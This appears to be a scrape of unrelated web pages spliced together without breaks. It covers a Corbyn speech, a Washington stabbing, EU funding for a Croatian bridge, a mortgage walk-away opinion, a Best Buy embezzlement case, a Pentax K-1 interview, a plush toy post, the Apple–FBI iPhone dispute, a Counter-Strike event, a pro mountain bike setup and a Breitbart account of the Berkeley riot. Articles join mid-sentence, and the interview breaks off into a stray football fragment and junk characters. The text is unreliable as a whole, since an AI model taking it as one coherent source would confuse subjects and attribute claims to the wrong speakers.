"It is the mindset that negotiates hard for better conditions in the workplace. It is the mindset that serves the many, not the few."
Corbyn dismisses Blair comments
:: Why it might be worth a punt on a Corbyn win
Mr Corbyn said he had previously thought political leaders had no choice but to give in to "vested interests" while manipulating the public.
"I didn't want to be like that. And it wasn't clear to me there could be another way," he said.
"But I've learned there is. Whereas insecure leaders want to feel stronger by asking you to give them more power, I recognise strong leadership as equipping you with more power."A man has been taken to a hospital with life-threatening injuries after being stabbed in the head on a DC bike path Tuesday afternoon, according to US Park Police. (ABC7 graphic)
A man has been taken to a hospital with life-threatening injuries after being stabbed in the head on a DC bike path Tuesday afternoon, according to US Park Police.
According to authorities, officers were called to the scene of the bike path in Kenilworth Park, in the 4200 block of Anacostia Ave., at just after 2:30 p.m. Tuesday.
When officers got to the scene, an elderly Hispanic man was found with "multiple stab wounds including one to the head." The victim has been flown to the hospital and USPP says he has life-threatening injuries.
USPP say they are now searching for a suspect in the assault who they describe as a black male in his 20s standing 5 feet 10 inches tall wearing a green jacket and dark pants. Police say the suspect ran off north on the trail.
This story will be updated.Croatia will move forward with building a bridge linking the two parts of its Adriatic coastline, which should cut travel times for tourists, after the EU on Wednesday (7 June) approved €357 million euros in financing.
A small sliver of Bosnian territory that juts to the Adriatic means Croatian territory is split in two, creating a lengthy detour for tourists travelling along the coast.
The 2.4-kilometre bridge will take advantage of the fact that the Bosnian coast is at the end of a narrow channel made by a Croatian peninsula.
When completed in 2022 the bridge should shave hours off the travel time to the southern resort of Dubrovnik, known as the ‘Pearl of the Adriatic,’ as travellers will no longer need to make a border crossing.
EU hopes for Western Balkan common market deal by mid-2018 The European Union hopes six Balkan countries will agree at a summit on July 12 in Italy to create a regional common market that could be working within a year, a top EU official said on Tuesday (6 June), in the bloc’s latest step to re-engage the region.
Tourism is a major industry for Croatia, with the nearly 16 million visitors that the former Yugoslav nation welcomed last year far outstripping its population of 4.2 million.
Most tourists visited the stunning Adriatic coast, with more than 1,000 islands and islets which served as a location for numerous scenes in the award-winning HBO series Game of Thrones.
The European Union, which Croatia joined in 2013, is financing 85% of the bridge project.
Regional Development and EU Funds Minister Gabrijela Zalac, who signed the deal in Brussels, hailed it as a “historic moment for both Croatia and the EU”.
“We are finally on the path… to completely link Croatia’s territory which will also secure the continuity of EU’s territory,” Zalac said, according to her ministry statement.
Croatia started building the bridge in 2007, but the project was halted due to budgetary constraints.
Croatian PM hopes border chaos won't affect tourism Croatia’s prime minister said yesterday (24 April) that he hopes to find a solution to new border crossing problems before the start of the tourist season. Changes to Schengen rules have caused chaos on its border with Slovenia.There is an interesting post on Tech Ticker with Henry Blodget called Yes, It's Okay To Walk Away From Your Mortgage.
As many Americans begin to realize that it will be many years (if not decades) before their houses are worth what they owe on them, the idea of walking away from your mortgage is going mainstream. Not surprisingly, the mortgage industry is doing everything it can to prevent this, including telling homeowners that they have a "moral obligation" to pay.
But do they?
There's no universal answer here, but in most cases, the answer is "Yes, it's okay to walk away." Importantly, the reason is not that "Wall Street deserves it" or "We've got to teach the banks a lesson" or any of the other retribution logic being thrown around these days. The reason is that you and your lender engaged in an arms-length transaction in which both parties balanced competing interests and spelled out their obligations in a clear, signed contract. And unless that contract states that you have a "moral obligation to pay," you don't have a moral obligation to pay.
You, meanwhile, also made a business decision. You decided to borrow money to buy your house even though it meant risking your equity, home, and credit rating. And now it turns out that both of you made a bad decision. Fortunately, you don't have to fight about what happens next. The contract between you spells everything out: If you stop paying, the lender gets the house. That's it. Unless the contract specifically differentiates between a failure to pay based on hardship (involuntary) and a failure to pay based on a collapse in the value of the house (voluntary), there's no difference. If the lender thought at the beginning that you had a "moral obligation to pay," it would have specified that in the contract. Now, compare this to a situation in which you DO have a moral obligation to pay: When you borrow money from a friend at no interest, for example, and you promise that friend that you will give him or her every penny back. THAT is a moral obligation to pay. In this case, your friend did not lend you money to make a profit. Your friend loaned you money to help you out--with no collateral or contract other than your promise to pay.
If the lender thought at the beginning that you had a "moral obligation to pay," it would have [or should have] specified that in the contract.
Morgan Stanley, the securities firm that spent more than $8 billion on commercial property in 2007, plans to relinquish five San Francisco office buildings to its lender two years after purchasing them from Blackstone Group LP near the top of the market.
The bank has been negotiating an “orderly transfer” of the towers since earlier this year, Alyson Barnes, a Morgan Stanley spokeswoman, said yesterday in a telephone interview. AREA Property Partners will take over the buildings. Barnes declined to say when the transfer will occur.
“This isn’t a default or foreclosure situation,” Barnes said. “We are going to give them the properties to get out of the loan obligation.”
two wrongs don't make a rightGRAND RAPIDS, MI – A technology savvy 19-year-old Best Buy employee used her skills to bilk her employer out of nearly $40,000 over a five-month period. JoHanna Rae Taylor faces as much as five years in prison when she is sentenced Sept. 9 in Kent County Circuit Court. According to police, Taylor would order items online, have them shipped to her home. She would then manipulate the computers at the East Beltline Avenue SE store so that she could convert the price of the items to zero. She used this method 82 times to get more than $35,000 in items including appliances and electronics, according to court records. Investigators also say the former cashier was able to get away with $561 in gift cards and $3,644 in cash. The total amount she is charged with stealing is $39,654. Taylor, who was awarded Best Buy’s “gold star achievement” in October, was charged with embezzlement of $20,000 to $50,000 – a felony punishable by 10 years in prison. But the Kent County Prosecutor’s Office says the Western Michigan University student was fully cooperative in the investigation and many of the stolen items were returned. The 2012 Wayland Union High School graduate was able to plead guilty July 30 to embezzlement of $1,000 to $20,000 which carries a five-year penalty. According to court records, Taylor lives with her parents in Martin. Taylor is also required to pay restitution to the company. She remains free on a $20,000 bond.
E-mail Barton Deiters: bdeiters@mlive.com and follow him on Twitter at twitter.com/GRPBarton or Facebook at facebook.com/bartondeiters.5Ricoh Q&A @ CP+ 2016: The Pentax K-1 design story; video feedback solicited; sub-frame lens test update
Rounding out our CP+ 2016 interview series, IR publisher and founder Dave Etchells recently had the privilege of meeting with several senior executives from Ricoh Imaging Company Ltd., the division responsible for creating Ricoh's Pentax and self-branded cameras and lenses. Taking part in the interview were Shinobu Takahashi, Senior General Manager of the Global Sales & Marketing Division; Shigeru Wakashiro, General Manager of the Product Planning Department, Product Strategy Division; Hiroki Sugahara, General Manager of the Marketing Communication Department, Global Sales & Marketing Division; Hiraku Kawauchi, Manager of the Public Relations Group, Marketing Communiction Department, Global Sales & Marketing Division; and Takashi Arai of the 1st Planning Group, Product Planning Department, Product Strategy Division.
Topics for discussion, not surprisingly, were focused around Ricoh's first 35mm full-frame DSLR, the impressively-specified Pentax K-1. In particular, we wanted to know what were the greatest challenges in its development, how Ricoh came up with its unusual flexible-tilt LCD monitor and on-camera lighting arrangement, why full-time AF and clean HDMI output aren't yet on the video feature list for Pentax DSLRs, and what K-1 owners can expect when shooting with sub-frame lenses on their full-frame body. Note that given the difficulty of noting the respondents with certainty while transcribing the interview, all answers have simply been attributed to Ricoh throughout. Apologies for the fact that we also have no portraits of any of the gentlemen taking part in this interview, but with the extreme time constraints for our appointment, we weren't able to capture these.
The Pentax K-1 is the company's first 35mm full-frame DSLR.
Dave Etchells/Imaging Resource: It's great that you have the planning people and engineers here, thank you! The K-1 is a very major milestone for the Pentax brand. It's been a long time in development. Can you comment on any particular challenges that you had in developing it? What did you have to overcome that was the hardest?
The Pentax K-1 features a new electronically controlled vertical-run focal plane shutter with a rated life of 300,000 cycles.
Ricoh: So, the technological challenges: So far we had been working just on the development of APS-C cameras, and that meant that in order to incorporate a full-frame sensor, we needed to renew all the mechanisms, including the mechanical shutter mechanism, Shake Reduction mechanism, viewfinder screen and viewfinder optics. All those must be renewed. And that was very, very challenging. Development was challenging.
DE: It was a challenge. You had to basically completely redo everything mechanical?
Ricoh: That's right.
DE: Yes. And I would imagine the image stabilization must have been hard, because you're moving a much bigger sensor, so much more mass.
Also new for the Pentax K-1 is a five-axis Shake Reduction system capable of a five-stop correction for camera shake.
Ricoh: The answer to your question is yes. The sensor is bigger, which means the weight of the sensor is also bigger, and to control that, we needed more powerful magnets, and a more powerful activation unit was necessary. But if we just made it bigger, then the camera size would also be much bigger. So we tried hard to make it compact, while keeping the shake reduction effectiveness as good or better than before.
DE: You had to make it very strong, but also very compact.
Ricoh: That's right.
DE: Ah - what was the key to that? I mean, stronger magnets like rare earth ones? How'd you make it stronger, yet still keep it small?
Ricoh: Well there was a trial and error process. We had a lot of testing and improvement, testing and improvement.
The Pentax K-1's new pentaprism viewfinder now features an on-demand information and grid-line overlay.
DE: Oh, it was very iterative. You had to try something, test, and go back and forth.
Ricoh: Yeah.
DE: I wonder, will any of the advances in the stabilization system for the K-1 have an impact on future APS-C models as well? Are there advances in creating the image stabilization for the K-1 that will later show up in your next APS-C camera?
Ricoh: Yeah. There will be many.
DE: Will they allow you to make them smaller, or how will it be improved for APS-C?
Ricoh: For example, in the Pentax K-1, we adopted a five-axis SR system, which makes it possible to compensate five EV steps, including roll.
The optical path of the Pentax K-1's new pentaprism finder. The new LCD panel used for the on-demand overlay sits between the pentaprism and the reflex mirror.
DE: Oh, a five EV improvement.
Ricoh: Yes, five EV, including roll correction. That technology can possibly also be used in APS-C sensor format cameras.
DE: Mmm, so APS-C in the future will have the ability to correct more stops, and also roll correction.
Ricoh: Potentially. These technologies are potentially possible in future APS-C models.
Ricoh: Also keeping the small size.
DE: While keeping the size very small, yes. In the past, your DSLRs used the mechanical shake reduction system while recording movies, and then you went to electronic. How does the K-1 stabilize during movie recording?
The SAFOX 12 autofocus module makes its debut in the K-1.
Ricoh: Not sensor SR.
DE: Not sensor, it's...
Ricoh: Electronic, digital shake reduction.
DE: It's electronic, yes. And that was done to reduce noise on the audio track, was that the primary reason?
Ricoh: Exactly.
DE: This next question is not so much technical, but more just about product design. The K-1 body has a lot of very innovative or distinct features, you know, like the liquid crystal display with its moon-lander articulation struts.
Ricoh: Moon lander! <much laughter>
The Pentax K-1's LCD monitor is mounted on a unique, Apollo moon-lander-esque set of struts which allow it to tilt in any direction or even rotate somewhat.
Ricoh: That is the first time I heard that comparison!
DE: It might be [Ricoh Imaging Americas Corp. President] Jim Malcolm who mentioned that term to me, but that was our first thought when we saw it as well. Yeah, it looks like a moon lander.
Ricoh: <laughter> The moon lander; Apollo!
Ricoh: Can we use [that description] for our promotional activity? <laughter>
DE: Sure, if you use it for promotion, you can send me a bottle of sake. That would be great! <laughter>
DE: Yeah, so there's that, and then the illumination LEDs and the Smart Function dial. We're curious, did any of the process of developing those features come from feedback from photographers, or was this just purely the engineers thinking "What can we do?"
Ricoh: Both. For example, the LCD. We call it "flexible tilt".
Another unique feature of the K-1 is an array of on-demand LEDs above the lens mount, beneath compartment covers and behind the LCD monitor, all of which can help you to better see what you're doing when shooting in the dark.
DE: Flexible tilt, yes.
Ricoh: OK, whatever the name is, moon lander is nice. This idea came from our internal discussion of how we could combine the advantages of the tilt LCD and vari-angle LCD into one.
DE: Mmm.
Ricoh: So the tilt LCD, you won't be able to use like this. [Demonstrates side-to-side motion on the K-1 LCD.]
DE: You can't go left or right, yeah.
Ricoh: Yes, and vari-angle. OK that is possible but then in that way, you to see the monitor [off to one side], while the sensor is here. So that is less intuitive. [Gesturing with the camera, indicating that a tilt-swivel LCD would be positioned off to the left of the body, while the sensor is more or less centered.]
DE: Ah, I see!
Ricoh: What you see is from here (on the left), and what the camera gives the picture from is here (in the body, behind the lens mount).
DE: So the tilt/swivel, with the LCD being off to the side...
Ricoh: Right. Not in line.
As you can see in this shot, the Pentax K-1's LCD monitor is nearly lined up with the optical axis of the lens. That remains true regardless of the direction in which the display is angled.
DE: Yes, I see.
Ricoh: And then we conducted a lot of research, listening to professional photographers about what could be the best solution, and through those kinds of discussions, we finalized our idea to be like this.
DE: To be like the struts, yes. It's so different! How did you come up with the idea of that particular mechanism?
Ricoh: We had a lot of ideas, too.
Despite a feature-rich design and much larger sensor, the full-frame Pentax K-1 (shown in black outline) is not much taller or wider than the sub-frame Pentax K-3 II (blue outline).
DE: A lot of different concepts? Yeah.
Ricoh: Yes, different concepts or ideas to make [it possible to combine] those two advantages into one.
DE: Yeah.
Ricoh: And then, after some discussion we made three prototype designs of this mechanism. And then we evaluated it in terms of the weight, the size and the robustness. And the winner is...
DE: The winner was this one. So you had three different versions, were they all of the strut design? Or were they more conventional hinges, or...
Ricoh: All of them had a rather new structure.
DE: Oh, so they were all variations of this, and then you picked the one that was the most robust, yeah |
. We’ve never played Panama so we need to get prepared for those games.
“There was definitely a [possible] group of death but no one got it. And no one got an absolute patsy draw either. History says the small teams in the World Cup refuse to play like small teams.”*-_.
More updates coming soon
Thank you for your patience and support!
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Toothless commission finished!I was requested to make a bigger Toothless with different proportions from my chibi one, "as big as a regular cat"For this guy i designed a whole new pattern, and has more of a regular proportion than the chibi onehe stands at 24" long from nose to the end of the tail, and 11" from nose to buttThe wings are big, just one is as long as his body and tail and are slightly posableThe red tail is removable and keep on place with straps a brooch in the same way his first brown tail was tied up on the movie.Fully made out of minky and stuffed with poliester fiver, eyes are fully hand crafted by me.I placed little chibi toothless at his side for size comparison and to show how different they look.Ill be posting more pictures of him later on my tumblrman, i really like this character, dont even know why!im planing on making a few more different ones, i still want to make one with real proportionsImage: William Hook/Flickr
What looked like the next big encryption battle between Apple and the FBI appears to have reached an impasse, according to unsealed court documents and a source familiar with the case.
The case, which Motherboard first reported last week, involves a warrant issued for an iPhone belonging to an alleged member of the Columbia Point Dawgz, a Dorchester and Boston, Massachusetts-based street gang.
In February, Apple was ordered by Magistrate Judge Marianne Bowler to assist the FBI in getting data from the phone of one the alleged gang members, Desmond Crawford, according to Court documents unsealed Friday in response to a request to unseal from the American Civil Liberties Union.
"Such reasonable technical assistance consists of, to the extent possible, extracting data from the Device, copying the data from the Device onto an external hard drive or other storage medium, and returning the aforementioned storage medium to law enforcement, and/or providing the FBI with the suspect Personal Identification Number," Bowler wrote.
But, unlike the high-profile encryption case in San Bernardino, the judge's order said that "Apple is not required to attempt to decrypt, or otherwise enable law enforcement's attempts to access any encrypted data."
That appears to make the order functionally useless, since there is no way for Apple to meaningfully assist the government without attempting to circumvent the phone's encryption.
Apple nonetheless responded by refusing the order on February 9, according to a list of pending legal cases the company's lawyers posted. Since then, the government has not pursued the case, despite having a favorable order from the judge, a person close to the matter told to Motherboard.
The Massachusetts case is unique because it's the first of its kind involving a newer model iPhone—an iPhone 6 Plus running iOS 9.1—that likely can not be unlocked using the mysterious method the government wound up using on the older iPhone 5c of Syed Farook, one of the San Bernardino shooters. In addition to security features that automatically wipe the device after 10 passcode attempts, newer models including the iPhone 6 and up have a hardware-backed security feature called Secure Enclave, which makes breaking into the devices significantly harder.
Thus, the case appears to have entered legal limbo, both because the government has failed to respond to Apple's refusal and because Apple has no way of accessing the phone's data anyway.
A spokesperson for the FBI declined to comment, citing the fact that this is an ongoing investigation, and deferred comment to the Department of Justice.
A spokesperson for the Department of Justice said in a statement that the government has yet to decide whether it wants to force Apple to comply with the order.
"As we noted in previous court filings, there are many cases around the country in which iPhones hold critical evidence. In several instances, Apple has been served with an All Writs Act order to provide assistance," DOJ spokesperson Emily Pierce said in a statement. "In most of the cases, rather than challenge the orders in court, Apple has simply deferred complying with them, without seeking appropriate judicial relief. In this specific case, Apple has represented that they were unable and unwilling to comply with the court's order, and no decision has been made by the government on whether to seek additional orders compelling Apple's assistance in this matter."
Apple did not respond to a request for comment.
Judge Order Boston iPhone Case
Correction: This post has been updated to clarify that the judge ordered Apple to get the data out of the phone, not help FBI get into the phone. Also, a previous version of this story also said the judge's order was unsealed in response to a FOIA request from the ACLU, but it was actually a motion to unseal.The substratum of North American Counter-Strike will converge on Philadelphia, Pennsylvania this weekend to compete for $15,000 at Fragadelphia 8.
The Fragadelphia series is one of the premier grassroots tournaments on the east coast of the United States, with previous editions having drawn the likes of Sam "DaZeD" Marine's Torqued (who won Fragadelphia 6) and Daniel "roca" Gustaferri's roca's compLexity (who won Fragadelphia 7).
Fragadelphia 8 will feature an increased prize-pool of $15,000 and run this weekend from May 20-22 (in the same time frame as the SL i-League Invitational and the MLG Americas Minor). Up to 32 teams will take part in the action, which will feature GSL group play and a double elimination playoff bracket (upper bracket best-of-three and lower bracket best-of-one).
roca and two of his teammates will play in Echo Fox +2
Although the group draw has not taken place yet, there are a number of confirmed teams attending who have made the rounds of ESEA Premier and Main, as well as a mix called "Echo Fox +2" that features three of the team's players: roca, Shahzeb "ShahZaM" Khan, and Ronnie "ryx" Bylicki.
A few of the confirmed teams for the event are:
Echo Fox + 2 Echo Fox + 2 Tectonic Tectonic VexX VexX Bee's Money Crew Bee's Money Crew RivaL RivaL Savage Gaming Savage Gaming ACE ACE The Foundation The Foundation
A list of more confirmed teams can be found here under the "Frag 8" section. The prize-pool distribution is as follows:
1. - $8,000
2. - $3,500
3. - $2,000
4. - $1,000
5. - $500
The stream can be found at the event's Azubu page.
stich writes for HLTV.org and can be found on TwitterAs the current world champion in Olympic-discipline cross-country, Nino Schurter is always one of the race favourites once the start gun blows. With explosive power, supreme technical skills and masterfully tactical efforts, Schurter typically delivers results with the consistency of a Swiss-made watch.
Of course, a rider of this level will usually receive special attention when it comes to equipment selection and Schurter's bike is absolutely at the pinnacle of 'race day' equipment. Wanting to learn more of this setup, we managed to sit down with the four-time world champion before his win at the opening World Cup round in Cairns, and chat about his preferences for bike setup.
Attacking on a short power climb like he typically does. very few riders can hold on when this swiss powerhouse chooses to make his move: attacking on a short power climb like he typically does. very few riders can hold on when this swiss powerhouse chooses to make his move
Nino Schurter attacking his way to a win at the first World Cup round of 2016 in Cairns, Australia
Grab a drink, sit back and read on as we delve into the finer details of Schurter's bike setup (and don't forget to scroll through the gallery above).
Still one of the lightest
Scott Sports has a long history of creating class-leading lightweight mountain bikes. The Scale hardtail remains one of the lightest money can buy, as does the Spark RC dual suspension, which has seen little change in recent time. Schurter tells BikeRadar that the Spark will remain his key choice for much of the season, with the Scale hardtail set to make only occasional appearances.
The Spark is one bike that pushes cross-country convention. Built to win XC races, this 27.5in-wheeled version nonetheless offers a rather long 120mm of rear wheel travel. For reference, most of the direct competition sit at 90-100mm.
Scott and dt swiss originally collaborated for the 'twinloc technology, this dt swiss twoinone switch controls both front and rear shocks simultaneously: scott and dt swiss originally collaborated for the 'twinloc technology, this dt swiss twoinone switch controls both front and rear shocks simultaneously
Remote at the left hand controls the suspension
Ensuring it climbs with the best, Scott employs its 'TwinLoc' technology, offering a three-position suspension control remote to switch the bike between descending (open), traction (firm) and climbing (locked) modes. Fully open, the bike sits at 120mm of travel, but switch mode and it reduces to 85mm. The front fork is linked to the same handlebar remote; switch the rear shock and the fork's compression changes to match.
In addition to the TwinLoc technology, the Spark offers a flippable chip that allows for a choice between two geometry positions. What shouldn't be too surprising is that Schurter runs his in the 'High' position for a more aggressive head angle.
The High position also raises the bottom bracket, but this likely doesn't present any issues as Schurter uses a 100mm travel fork on this frame designed for a 120mm version. That shorter fork will obviously lower the bottom bracket height, but it’ll also steepen the 68.8-degree head angle closer to 69.8 degrees.
Yep, there's little about this bike thatõs low cost. apparently this dt swiss carbon fork crown and steerer is made by dt swiss in switzerland : yep, there's little about this bike thatõs low cost. apparently this dt swiss carbon fork crown and steerer is made by dt swiss in switzerland
A carbon fork steerer and crown is said to save 120 grams
That 100mm fork is DT Swiss' latest OPM Race, an impressively lightweight item as a result of the new carbon steerer and crown. New low friction seals from SKF help to improve small bump performance.
In a slight change from last season, Schurter is using a standard, non-carbon version of the DT Swiss X313 Remote rear shock. We suspect this may be due to how the carbon air sleeve handles excessive heat from Schurter’s descending, as otherwise he'd be taking the opportunity to save a few more grams here.
You'll find similar logos on products sold by scott. for example, you can buy a 20in kids bike plastered with the same labels, including nino's name: you'll find similar logos on products sold by scott. for example, you can buy a 20in kids bike plastered with the same labels, including nino's name
More than a decal, Schurter has his name below the clearcoat
Helping to ensure the bike stays in the right hands, Schurter's bikes are nearly always treated with custom paint – as was the case here. It's worth noting that these graphics typically carry some 'cred', and Scott successfully sells 'Nino' replica product and bikes (including for kids) in many markets.
Bike fit is course-dependent
Bike setup, Schurter says, will change to suit the varying courses. "I adjust suspension, tyres and sometimes even my position. If there are really steep climbs, and I feel like it’s not comfortable to ride my position for long climbs, then I go higher on the seat to help. My seat height will vary 2-3mm."
With a set-back measurement of just 4.7cm, Schurter rides in a relatively forward position. It's a trend that’s flowing from the top of cross country lately, with positions tailored to the hard, flat-out and technical racing that the sport has become.
New sram level ultimate brakes for this whip. these brakes feel amazing, and hide a few cool features such as sealed bearings at the lever pivot points. also note the ritchey handlebar which drops 5mm from center: new sram level ultimate brakes for this whip. these brakes feel amazing, and hide a few cool features such as sealed bearings at the lever pivot points. also note the ritchey handlebar which drops 5mm from center
Wider bars are a common trend across all disciplines of mountain biking
Schurter's choice in handlebar width is another aspect of evolving setup. For 2016, he's moved to a 710mm width bar, a far cry from the 580mm width bars of cross-country racing's past.
"I went wider recently for cross country," he says. "On my other bikes I always have wide bars. Now the downhils are more technical and I prefer more control. You don’t win races on downhills, but you sure can lose them."
Tubular-wrapped mid-size wheels
Schurter's move to a 27.5in wheel, among a 29er crowd, was met with much interest a few seasons ago. At the time, Scott already had a full quiver of World Cup-grade 29ers, but it was said that Schurter was unable to achieve the handlebar height he desired without greatly compromising handling.
Dugast provide the tubular tyres, although those 27.5in dt swiss carbon tubular rims may present a larger issue in sourcing for your replica nino bike: dugast provide the tubular tyres, although those 27.5in dt swiss carbon tubular rims may present a larger issue in sourcing for your replica nino bike
The 'W' refers to tread compound
As a longtime user of tubular tyres, Schurter's wheel and tyre choices sit in the pro-only realms. Sure, at €103 a piece you can buy the 50mm width (approx. 2.1in) Dugast tyres he ran in Cairns, but his DT Swiss 27.5in carbon tubular wheels aren’t something you’ll find as easily.
Glued to the carbon rim, tubular tyres offer some significant benefits for those who have a mechanic to do the work. For one, the system is seriously light at the rim, right where it counts. Low pressures can be ridden without risk of burping or rolling the tyre from the rim. Rolling resistance is potentially lower by allowing for a suppler tyre construction. Finally, if a flat does occur, the tyre will stay in place for the rider to get to the nearest service zone.
However, obvious costs and mechanic hours aside, transporting pre-glued wheels and tyres present logistical issues. Schurter believes five different tyre types were brought across to Cairns from Europe for him. However, his Swiss-based team surely has access to far more options on its home continent.
A close look at the tread of the dugast fast bird 50mm tubular. while widths typically vary greatly depending on brand and setup, this was comparable to many 2.1in tyres on the market: a close look at the tread of the dugast fast bird 50mm tubular. while widths typically vary greatly depending on brand and setup, this was comparable to many 2.1in tyres on the market
Schurter chose this fast-rolling tread pattern for the dry and dusty conditions at Cairns
Prior to travelling, the riders have a pretty good idea of the terrain ahead and so can limit their choices without having to bring everything. In Schurter's case, he says, beyond the obvious tread changes even the construction of the tubular can vary, with more protection being built into it to suit the conditions.
So why not just run a more protected tyre all the time? Weight and rolling resistance come back into play.
SRAM soars
Yep, that's bigger than your face. sram's new eagle drivetrain features a 10-50t cassette: yep, that's bigger than your face. sram's new eagle drivetrain features a 10-50t cassette
SRAM Eagle won its debut World Cup thanks to Schurter
Schurter was the only rider with SRAM’s new 12-speed XX1 Eagle drivetrain at this opening World Cup round – and it was impossible to miss in its gold livery. Offering an enormous 500% range, the new drivetrain is surely the future of single-ring setups.
"I’ve already raced it before Cairns," says Schurter, before we ask about chainring size to match the enormous 10-50t cassette. "I’m on a 38t," he replies. "I don’t think I’ll ever go down in size for the rest of the season – I may go up to a 40t, but for slow courses I use a 38. For a stage race if it’s really long or steep climbs, then maybe I’ll use a 36t. But 38t is about the smallest you (pros) need for XC."
Schurter was the only rider in cairns with sram's new eagle drivetrain. however, it seems the big american component company couldn't get the matching crank made in time. on another note, that's a 38t chainring you're looking at: schurter was the only rider in cairns with sram's new eagle drivetrain. however, it seems the big american component company couldn't get the matching crank made in time. on another note, that's a 38t chainring you're looking at
The matching crankset wasn't ready just yet
Clearly the gearing setup is extremely fresh as the matching crankset was not in place. Sitting above the crankset, Schurter continues to use a minimalist chain guide that simply stops the chain from lifting off the top of the ring.
Equally as new as the Eagle gearing, Schurter is using SRAM’s latest flagship hydraulic disc brake – the Level Ultimate. Like every new top-tier product, these are the lightest and highest-performing the brand has offered yet. Including hardware and rotors, a pair of these is claimed to weigh just 636g without any compromise to braking function.
New Ritchey bits
As a longtime rider of Ritchey equipment, Schurter showcases both proven and fresh components on his bike. On the fresh side, Schurter is running the new Superlogic foam grips and WCS XC clipless pedals.
Seems ritchey has some new superlight foam grips on the way. we've seen another version similar to these that claimed to weigh just 9grams, these could be lighter again: seems ritchey has some new superlight foam grips on the way. we've seen another version similar to these that claimed to weigh just 9grams, these could be lighter again
New grips for Schurter
The Superlogic grips appear to have a simpler profile to the ‘Ergo’ version we’ve seen launched. Regardless, they look to be made of the same ‘nano foam’ as the Ergos and therefore likely weigh less than 9g per pair!
Now in production, schurter rides ritchey's new wcs xc pedal. spd cleats can be used with these : now in production, schurter rides ritchey's new wcs xc pedal. spd cleats can be used with these
Mint condition. Schurter uses Ritchey pedals
The pedals are something Schurter rode for much of last season, but in a prototype form. For 2016, they were officially released and the SPD-compatible design jumped up in weight to a claimed 298g for the pair. These are only marginally lighter than Shimano’s best offering, but by the looks of it offer improved mud clearance. It’s possible Schurter’s pedals run on lighter titanium axles, but that’s just our speculation.
Certainly not a common occurence on a race bike of this level, all of Schurter’s contact points are taken care of by this one Swiss-based brand.
Dropper for Nino?
Schurter dropping in from the 'rodeo drop' at cairns world cup. such technical features caused riders such as julien absalon and dan mcconnell to use dropper seatposts : schurter dropping in from the 'rodeo drop' at cairns world cup. such technical features caused riders such as julien absalon and dan mcconnell to use dropper seatposts
Technical features like this caused a few top riders to use dropper posts, but perhaps only so they wouldn't lose ground to Schurter's downhill prowess
With the likes of Julien Absalon and Dan McConnell taking to dropper seatposts for the rocky Cairns course, we ask Schurter for his thoughts.
"I’m truly happy without a dropper seatpost for this course," the Swiss powerhouse says.
"All the dropper posts you get are too heavy or just not for cross country," he goes on. "I’m sure the future will have these, but they’re (currently) too slow, too long and you need to put your body weight on them. For real cross country they must be faster, lighter, easier and shorter."
Race-day gadgets
Both Garmin and GoPro sponsor Schurter, and so he races while capturing both race data and footage.
A special brackets mounts the gopro directly to the ritchey wcs stem : a special brackets mounts the gopro directly to the ritchey wcs stem
The GoPro integrates to the front of the stem
His Garmin Edge 520 head unit sits directly on the stem with a standard rubber band mount. However, it’s the GoPro Hero 4 Session that sits on an integrated mount that bolts in with the Ritchey stem faceplate.
With permission from racing legend and Scott-Odlo MTB Racing team manager Thomas Frischknecht, we hang Nino’s race bike on our own scales – it reads 9.79kg. Making this figure all the more impressive, this includes the Garmin Edge 520 and GoPro Hero 4 Session camera as pictured.
Complete bike specifications
Frame: Scott Spark 700 RC, size Medium
Scott Spark 700 RC, size Medium Rear shock: DT Swiss X313 Remote
DT Swiss X313 Remote Fork: DT Swiss OPM O.D.L 100 Race
DT Swiss OPM O.D.L 100 Race Headset: Ritchey Superlogic
Ritchey Superlogic Stem: Ritchey WCS C220, 90mm, -17 degree
Ritchey WCS C220, 90mm, -17 degree Handlebar: Ritchey WCS Superlogic, 710 width, -5mm rise,
Ritchey WCS Superlogic, 710 width, -5mm rise, Grips: Ritchey Superlogic foam
Ritchey Superlogic foam Front brake: SRAM Level Ultimate, 160mm 2-piece CLX rotor
SRAM Level Ultimate, 160mm 2-piece CLX rotor Rear brake: SRAM Level Ultimate, 160mm 2-piece CLX rotor
SRAM Level Ultimate, 160mm 2-piece CLX rotor Rear derailleur: SRAM XX1 Eagle
SRAM XX1 Eagle Shift levers: SRAM XX1 Eagle
SRAM XX1 Eagle Cassette: SRAM XX1 Eagle XG-1299, 10-50T, 12-speed
SRAM XX1 Eagle XG-1299, 10-50T, 12-speed Chain: SRAM XX1 Eagle, 12-speed
SRAM XX1 Eagle, 12-speed Crankset: SRAM XX1, 38T Direct Mount ring, 175mm
SRAM XX1, 38T Direct Mount ring, 175mm Bottom bracket: SRAM GXP Blackbox
SRAM GXP Blackbox Pedals: Ritchey WCS XC
Ritchey WCS XC Front wheel: DT Swiss XRC tubular (team only)
DT Swiss XRC tubular (team only) Rear wheel: DT Swiss XRC tubular (team only)
DT Swiss XRC tubular (team only) Front tyre: Dugast Fast Bird 50mm tubular
Dugast Fast Bird 50mm tubular Rear tyre: Dugast Fast Bird 50mm tubular
Dugast Fast Bird 50mm tubular Saddle: Ritchey WCS Carbon Stream
Ritchey WCS Carbon Stream Seatpost: Ritchey WCS carbon, 1-bolt, zero set-back
Ritchey WCS carbon, 1-bolt, zero set-back Bottle cages: Topeak Shuffle CF
Topeak Shuffle CF Other accessories: Garmin Edge 520, GoPro Hero 4 Session
Critical measurementsProfessional MMA fighter and UFC Veteran, Jake Shields, was forced to rescue a civilian who was being severely beaten by “anti-fascist” rioters in Berkeley, California, on Wednesday, after police officers allegedly refused to intervene.
Realizing that law enforcement officers were not going to help the man who was being cornered and violently attacked, Shields took the moment into his own hands, and fought off the mob of rioters while he helped the injured and bloodied man to safety.
“The show got cancelled so I was kind of checking things out,” said Shields in an interview with Breitbart Tech. “Obviously it was a rough crowd, so I didn’t want to walk in the middle of it, and all of a sudden I see this guy running out completely covered in blood and these guys were chasing him with sticks, trying to circle him.”
“Mobs of people. Nobody helped, but people were yelling ‘get up, get up.’ Like fifteen people were trying to attack him and others were cheering them on,” he continued. “No one helped, no one had the balls to step in, so my reaction was to run in and start picking people off.”
The aftermath of me helping a guy after being jumped by thugs. The police and 100's of civilians stood and watched. pic.twitter.com/7hN2iJ4kkf — Jake Shields (@jakeshieldsajj) February 2, 2017
“They came in trying to fight back, and I started backing off, but I helped grab the guy and shove him into a store,” Shields explained. “I got a few punches, I was probably hit like ten times, but I don’t have a single mark on me. They were like, ‘he’s a Nazi too!’ but this other guy was like, ‘I don’t think he’s a Nazi,’ while I was still fighting people off. I was like, do you just get to choose who’s a Nazi and who’s not?”
The riot started at UC Berkeley on Wednesday after protesters against Breitbart Senior Editor MILO started to become increasingly violent outside of his show.
